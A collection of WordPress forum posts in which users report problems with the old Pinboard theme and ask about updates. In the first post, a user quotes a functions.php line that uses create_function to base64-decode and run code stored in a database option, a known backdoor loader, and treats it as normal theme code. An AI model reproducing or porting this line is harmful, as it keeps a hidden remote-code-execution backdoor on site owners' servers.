Topic: PinBoard: Support for PHP 8+
Hello there 🙂
I have a client who asked me to bring their website back up to date, including updating the outdated PHP version (actually on 7.4.33).
Unfortunately, I got a lot of errors. After I switched off all plugins and this led to nothing, I asked the customer to send me the error message from the admin mail. Enclosed is the error message:Error-Details
==============
An error of type E_ERROR was caused in line 2372 of file /var/www/vhosts/customer-domain/httpdocs/wp-content/themes/pinboard/functions.phpErrormessage: Uncaught Error: Call to undefined function create_function() in /var/www/vhosts/customer-domain/httpdocs/wp-content/themes/pinboard/functions.php:2372
Stack trace:
#0 /var/www/vhosts/customer-path/httpdocs/wp-settings.php(585): include()
#1 /var/www/vhosts/customer-path/httpdocs/wp-config.php(86): require_once(‘…’)
#2 /var/www/vhosts/customer-path/httpdocs/wp-load.php(50): require_once(‘…’)

#4 /var/www/vhosts/customer-path/httpdocs/wp-admin/index.php(10): require_once(‘…’)
#5 {main}
thrownSo this refers to the theme. To be on the safe side, I deactivated the child theme and activated the main theme to test whether the child theme might contain incorrect entries.
I found in the functions.php following code between 2365 an 2372:
function pinboard_copyright_notice() { $copyright = pinboard_get_option( 'copyright_notice' ); $copyright = str_replace( '%year%', date( 'Y' ), $copyright ); $copyright = str_replace( '%blogname%', get_bloginfo( 'name' ), $copyright ); echo esc_html( $copyright ); } endif; add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ), 0 );
As i can find in the internet, the create_function is no longer supported.
Now, of course, I have seen that this theme is already very old. So here’s my question: Is it still going to be updated?Hello,
I’m using the theme Pinboard Version: 1.1.12I want to show all my posts on a page called Gallery. Can somebody tell me why it is limited? I have 32 post and only 25 appear on the page.
Thanks for answering.
Topic: Pinboard theme broken ?
Hi Daniel! Firstly, thanks for contributing to the WordPress community. I’ve been using the Pinboard theme for a while and absolutely love it – the front page slideshow is really great.
I was wondering if you were able to help me diagnose/fix why Pinboard Theme v1.1.12 (on WordPress v5.5.3) has a little formatting error when trying to display a slideshow gallery (Slideshow Gallery v 1.6.15)? I’m happy to try and troubleshoot the code myself if you point me in the right direction. The specific error I have is the HTML produced when trying to embed a slideshow from the plugin is missing applying a “::before” and “::after” selector before the “Previous Image” and “Next Image” links of the Slideshow Gallery plugin. I can send a screenshot if that helps!
Appreciate you’re super busy, but would appreciate any time you’re able to spare on this! Thanks
Hello, I’m using the pinboard Version: 1.1.12. and although I’ve set the theme Options -> Layout sidebar boxes to 3 , it doesn’t display in three columns. What ca I do?

Thanks for an answer. :-))
Topic: Category Menu too many items
I have a menu on my home page called Countries. It is a category menu of the countries I have written posts about. The problem is that I have too many countries and the menu items don’t appear to be able to scroll or anything on Windows. On Android I can see the entire menu list. In Windows my list of countries stops at Lithuania. Is there a fix to this. I am using Pinboard which I really like. On Windows the Countries dropdown stops at Lithuania. How do I see the entire list of categories from the menu item?
As a work around, I thought that I might create a manual page that let the user select the country/category that they wanted to see. I can’t see how to insert categories into a page.
Help Thanks.Hi Guys,
Some years ago I designed a website using Pinboard Theme and for the past couple of years it has been inactive.
The Pinboard Theme version is Pinboard 1.1.12 and it is currently running on WordPress 4.4.17.
I would like upgrade the site to the latest WordPress 5.03 but I’m unsure of it’s compatibility as I noticed that the theme has not been updated in a couple of years?
I’d be grateful for some information on Pinboard’s compatibility with the latest version of WordPress and any problems that might be encountered before I upgrade WordPress.
Also, any thoughts or advice on future compatibility with further WordPress updates going forward and whether now might be a good time to strip out the content of the site and rebuild it using another theme that continues to be supported?
Many thanks in advance for your advice.
Mike
Topic: Menu Inconsistency
Hi,
I have Pinboard-theme and am looking in vain for:
> head-tag in AMP HTML (purpose is to add AdWords script)
> body-section of AMP HTML (purpose is to enter AdWords ad-code).Where do I find it (please guide for programming novice like me…)
Thanx for your help!
I have a header issue on Pinboard theme. I’m trying to change the current image, but when I do it won’t change in customization mode nor when published. The weird thing is that the update shows up on Firefox, but not Chrome or Safari. Anyone know what the issue is. Very frustrating.
Hi,
I tried to do this by changing these to zero:
function pinboard_excerpt_length( $length ) { if( pinboard_is_teaser() ) { if( has_post_format( 'aside' ) ) return 0; else return 0; } else return 0;
And changing this to have a space:
function pinboard_excerpt_more($more) { return ' &# 160;'; } endif;
Is there a way to truly remove it? Maybe there should be an option to check a box?
Topic: No mobile access
Hi,
is Pinboard still supported?
It worked fine for me so far and I would love to continue using it.
Unfortunately since last update the blog can not be reached from mobile devices anymore.
There’s a timeout.
Any idea why this is?
Works fine with PC browsers, though.Thanks for quick help!
Best, Alex
Hi, now that Pinboard is really broken by the latest updates (started getting PHP fatal errors because of get_header()), did anyone come across a similar theme that works with the newer versions of WordPress?
I really love the simplicity and ease-of-use of Pinboard, especially its grid layout and portfolio pages, but I don’t have the technical know-how or at least the time to port it to WP 4.9+, so I’m looking for a similar and preferably free replacement.
In any case I want to add that I’m very grateful to onedesigns for this awesome theme that I was able to use for several years 🙂

Hi – we’re interested in using this theme.
Do you have any examples of real, live websites using the Pinboard theme? Thanks!
